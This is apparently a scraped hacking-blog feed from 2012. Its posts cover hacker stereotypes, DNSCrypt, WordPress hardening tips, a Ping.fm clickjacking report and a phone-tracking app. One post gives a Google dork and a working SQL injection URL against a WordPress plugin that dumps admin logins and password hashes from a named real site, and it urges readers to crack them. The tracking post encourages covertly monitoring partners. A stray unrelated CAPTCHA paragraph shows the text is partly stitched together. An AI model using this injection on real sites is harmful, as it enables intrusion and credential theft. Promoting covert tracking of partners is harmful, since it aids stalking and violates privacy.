Hacker Attitudes and their Differences

noreply@blogger.com (Convex Coders) — Fri, 10 Feb 2012 10:39:00 +0000

What kinda attitude a HACKER have...this is what I realized till now :

~ The Whitehat Hacker ~
Refers to ethical hackers as well, as they (usually) only break into systems and pentest IF they have permission, thus they don't have a reason to do anything malicious except if it has been requested by f.ex. a contracting corporation (which is quite unlikely). These are also refered to as the good guys, as most of them makes proof of concept, consulting, etc. Which helps the internet to become more secure (even though their proof of concept are usually abused by f.ex. script kiddies). It should be said though, that ocasionally blackhats has been seen claiming they're whitehats, and also (of course) that script kiddies were whitehats.

~ The Gray/Greyhat Hacker ~
These guys, are also known as hybrid hackers as they are in between black- and white-hats. Usually, they don't hack for personal gain or have malicious intentions, yet they do break into systems without permissions ocasionally (or all the time) as well. The difference is they usually don't
have a purpose or interest in destroying other individuals data etc. It is though, important to keep in mind that they will not necessarily notify the system admin of a penetrated system, yet ocasionally they might notify the system admin if they feel like it. Some grayhats also prefer anonymity more than fast (and highly detectable) attacks as well.

~ The Blackhat Hacker ~
This is the type of hacker that hacks for usually personal gain, wether it is economical, political or just fun doesn't matter. There's no such thing as respect for authorities, loyality or morale (if there were, then they would be more near the grayhat area). In this case there's often found script kiddies claiming that they are pure blackhat, because it sounds cool, destroying and might work with non-hackers to induce a state of "awesome'ness", even though the real hackers would have no problem seeing that the person is just a script kiddy.

~ The Ghost Hacker ~
This type of hacker, doesn't exist as the person behind has hidden that identity so well he should never get caught. The reason why it's unlikely he would get caught is due to he's extremely well skilled and also very focused on what he is doing. The ghost hacker lives though, a double-life in the real world and also virtually. He has a job, usually an anonymous IT-job in the middleclass, which he does without any problems. He has a normal route and routine on the internet just as the others of us, but this whole identity is just an identity to hide his real intentions. In his other life, which NO ONE knows about, he has probably a room with seperate machines, which are quite stealthy. The last note about ghost hackers is they (usually) make big money on their things, and they might use a lot of time on doing the work with their contractors which are of course, hidden as well.

~ The Script Kiddie ~
A script kiddie is not a hacker. He doesn't have the required knowledge about computers, servers and networks, infact only very basical knowledge about protocols, if he even knows what a protocol is. He's usually not capable of programming anything, though he's usually found on forums where similar exchanges ignorance. These kind of guys usually claims they know a lot, even though they really don't thus they are also found striking very at very random targets, on todays internet usually google picks their targets for them by using googledorks which might have even been made by other more skilled hackers. Most script kiddies doesn't understand anything in depth, yet they think they know a lot cause they can do their advanced stuff on windows machines.

OpenDNS released preview of DNSCrypt Tool (Secures DNS Traffic)

noreply@blogger.com (Convex Coders) — Tue, 24 Jan 2012 14:50:00 +0000

OpenDNS released a preview of DNSCrypt Tool , a piece of lightweight software that everyone should use to boost online privacy and security. It works by encrypting all DNS traffic between the user and OpenDNS, preventing any spying, spoofing or man-in-the-middle attacks.

For now, DNSCyrpt supports only Mac platform.

DNSCrypt works like SSL in that it wraps all DNS traffic with encryption the same way SSL wraps all HTTP traffic, it's not the crypto library being used. We're using elliptical-curve cryptography, in particular the Curve25519 eliptical curve. The design goals are similar to those described in the DNSCurve forwarder design.

What about DNSSEC? Does this eliminate the need for DNSSEC?

No. DNSCrypt and DNSSEC are complementary. DNSSEC does a number of things. First, it provides authentication. (Is the DNS record I'm getting a response for coming from the owner of the domain name I'm asking about or has it been tampered with?) Second, DNSSEC provides a chain of trust to help establish confidence that the answers you're getting are verifiable. But unfortunately, DNSSEC doesn't actually provide encryption for DNS records, even those signed by DNSSEC. Even if everyone in the world used DNSSEC, the need to encrypt all DNS traffic would not go away. Moreover, DNSSEC today represents a near-zero percentage of overall domain names and an increasingly smaller percentage of DNS records each day as the Internet grows.

That said, DNSSEC and DNSCrypt can work perfectly together. They aren't conflicting in any way. Think of DNSCrypt as a wrapper around all DNS traffic and DNSSEC as a way of signing and providing validation for a subset of those records. There are benefits to DNSSEC that DNSCrypt isn't trying to address. In fact, we hope DNSSEC adoption grows so that people can have more confidence in the entire DNS infrastructure, not just the link between our customers and OpenDNS.

43 Excellent WordPress Security Tips & Plugins

noreply@blogger.com (Convex Coders) — Fri, 20 Jan 2012 11:58:00 +0000

After putting in all of the time, and perhaps money, into your WordPress website or blog, its now time to secure and protect it from outside enemies and general bad guys: hackers, spammers and all round tossers.
Without a doubt, for a self-hosted blog, WordPress is the best blog CMS that you can get. Though it comes packed with security features, being a popular and open source software, it also means that hackers have full access to the code which they can scrutinize to find any exploits they can use to hack into any WordPress-enabled site.
On the good side, one of the best things about WordPress is its plugin system that allows anyone to install any plugins or create your own plugins to extend its functionality, including improving security.
Here, I have listed some wordpress security tips and plugins that you can use to secure WordPress blog.

Security Tips

1. Nobody should be allowed to search your entire server.

WPdesigner advices us to NOT use this search code in the search.php
<?php echo $_SERVER ['PHP_SELF']; ?>
Nobody should be allowed to search your entire server, or? Use this one instead:
<?php bloginfo ('home'); ?>
Block WP- folders from being indexed by search engines, the best way to block them in your robots.txt file. Add the following line to your list:
Disallow: /wp-*

2. Directories should not be left open for public browsing

There is a potential problem letting people know what plugins you have, or what versions they are. If there is some known exploit that is linked to a plugin, it could be easy enough for someone to use it to their advantage. Make an empty wp-content/plugins/index.html file or just add this line in your .htaccess file in your root:
Options All -Indexes

3. Drop the version string in your Meta Tags

A large number of WordPress themes have the WordPress Meta Tag that show the version of WordPress that is running on your blog which is an easy way to get your blog prone to hackers if you didn’t upgrade to the security-enhanced file permissions on both which is pointed out by Matt Cutts. Another solution involves a plugin that sets up a secondary new version.
This tag is in the header.php file that displays your current version of wordpress.
<meta content="WordPress <?php bloginfo(’version’); ? />" name="generator" />

4. Stay Updated

You need to keep your on your plugin/widget, theme, and WordPress versions updated. Also, subscribing to the plugin/widget/theme Author’s RSS feeds makes keeping up with them much easier.

5. Take regular backups of your site and Database

You always have to take regular backups of your file directories as well as the database. WordPress Database Backup plugin creates backups of your core WordPress tables as well as other tables of your choice in the same database.

6. Use SSH/Shell Access instead of FTP

If someone gets a hold of your FTP login information (which is usually not encrypted and easy to get), they can manipulate your files and add spam to your site without you even knowing about it! Using SSH, everything is encrypted including the transfer of files, etc.

7. Stop worrying about your wp-config.php file

Keep your database username and password Safe by adding the following to the .htaccess file at the top level of your WordPress install:
<FilesMatch ^wp-config.php$>deny from all</FilesMatch>
This will make it harder for your database username and password to fall into the wrong hands in the event of a server problem.

8. Block WP- folders from the Search Engines

There is no need to have all of your filesWordpress files indexed by Google, so it’s best to block them in your robots.txt file. Add the following line to your list
Disallow: /wp-*

9. Block access to WP-Admin folder using .htaccess

There is an article written Reuben that talks about how you can protect your WordPress admin folder by allowing access to it from a defined set of IP addresses. Everything else will bring up a Forbidden error message. So if you only access your blog from one or two places routinely, it’s worth implementing. Also, you’re supposed to create a new .htaccess file inside your wp-admin folder, not replace the one at the root of your blog

10. Don’t Use Default Passwords

Are you still logging into your wp-admin page with the same default password that was emailed to you? If so, CHANGE IT! You can follow the instructions given in the article “Hack Proof Password” posted by us earlier to imrove the strength of your password.

11. Change database table prefix

The default prefix used by WordPress is “wp”. You can easily change the prefix to other terms that are difficult to guess using the WP-Security-Scan. More detail on this plugin below.

12. Don’t use (or better yet, remove) the default “admin” username

When you install WordPress, it automatically generates a user with Administrator-level permissions called admin. It is strongly recommended that you do not use this username to make it harder for the hacker to guess your username and password via Brute force attacks. Even if you downgrade its permission role, it’s still a better idea just to remove this user altogether.
You can use the Change Username Plugin to change the Username of Admin Account.

At this point, you’re probably thinking but if I’m telling it what the words mean, does that mean I can enter anything? How does that stop spammers? The answer is simple – there are two words, one of which the CAPTCHA knows. The second, it doesn’t and you’re helping digitise it.

noreply@blogger.com (Convex Coders) — Thu, 12 Jan 2012 10:10:00 +0000

In this post I'll tell you the SIMPLEST WAY TO HACK ANY WORDPRESS BASED SITE.

First we'll use this dork to search website with the help of Google

inurl:"wp-content/plugins/photoracer/viewimg.php?id="

Results:

I'm now gonna test one of them..

For eg..

http://www.badged.gr/wp-content/plugins/photoracer/viewimg.php?id=2

Now add the Exploit..

/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users--

This is the exploit.. (GIVEN ABOVE)

And now the site address will become..

http://www.badged.gr/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users--

Now you can see the ADMIN and PASS....just crack the HASHES and you're done..

Site Admin Login page for WP

Ping.fm vulnerable to Clickjacking

noreply@blogger.com (Convex Coders) — Sun, 08 Jan 2012 09:22:00 +0000

Two Indian Hackers Aditya Gupta(@adi1391) and Subho Halder (@sunnyrockzzs) have discovered Clickjacking vulnerability in one of the famous website "Ping.FM". Clickjacking is a malicious technique of tricking Web users into revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.

This is based on a technique known as clickjacking ( or UI Redressing ) where an attacker could perform actions on the behalf of user by tricking the user to click on a button or perform some other action.

This vulnerability was earlier seen in Twitter where it allows the status to be loaded through the GET method, and an attacker could frame the twitter webpage and trick the user to click on the tweet button, with the user thinking that its a part of the attacker's webpage.

This can be disabled by setting the X-FRAME-ORIGIN method to SAME ORIGIN or DENYING the use of webpage inside a frame which have been adopted by google, facebook and many other famous websites.

Ping.fm is a online service which allows the user to connect to many social networks at once. However an attacker could use a technique known as Clickjacking to silently update the user's social networking status at Twitter, Facebook and all other connected accounts.In this technique, the user is tricked into clicking on a button on a webpage designed by the attacker,which silently updates the status of the user on the social netowrks status taking advantage of thePing.fm API and clickjacking technique.

Trace Anyones Mobile with G.P.S. and without G.P.S.

noreply@blogger.com (Convex Coders) — Sun, 08 Jan 2012 07:23:00 +0000

Do you doubt on your Boyfriend/Girlfriend ? Do you wanna track them via mobile location? This is now possible...I'm not joking. Many of us think that this is not possible or we have to spend some money for such services but believe me that we don’t have to spend any money for getting this done. Yes, PhoneOnMap makes it possible, which provides a free application that has to be installed in G.P.S. cell phone and you are ready to track the phone from anywhere on the Internet.

This application can be useful for office work as well as family members. You can track your child as well as your girlfrend/wife too (:P) . This PhoneOnMap can be used worldwide and you can use it while travelling too. The data is stored on the company’s server for a period of one month. This can be an invaluable source for sales and marketting department of an organization to track the marketing agents.

If you are worried about the security and privacy of the service, let me tell that it is very secure and your cell phone can not be monitored by any Unauthorized User as in order to access the tracking system, you have to authenticate yourself through a personal code which was used as identification while installingapplication on cell phone.

Features of GPS cell phone tracking system :-

1. GPS cell phone tracker and locater will not work in the underground transportation .
2. The application does not work when the phone is turned off.
3. The data transmission outside provider’s coverage area will add roaming charges like any other phone service charge us .
4. Once application is uninstalled from cell phone than you can’t do anything .
5. On internet tracking system will show cell phone location between every 10 seconds to 10 minutes , which is depend on setting .

Accordng to me this kind of service is very important for parents to track their children and from a business usage point of view an invaluable part of companies involved in supply and delvery system like Courrier and Home delivery system. This will help them to get a realtime location of the object and provide an accurate timeframe for the delivery.

As of now this service does not provide the exact pin point location but the location determined s in the range of 10-20 meters. However with little intelligence the exact location can be easily determined especially when you wish to track your children or the cheating boyfriend/girlfrend…(lol)
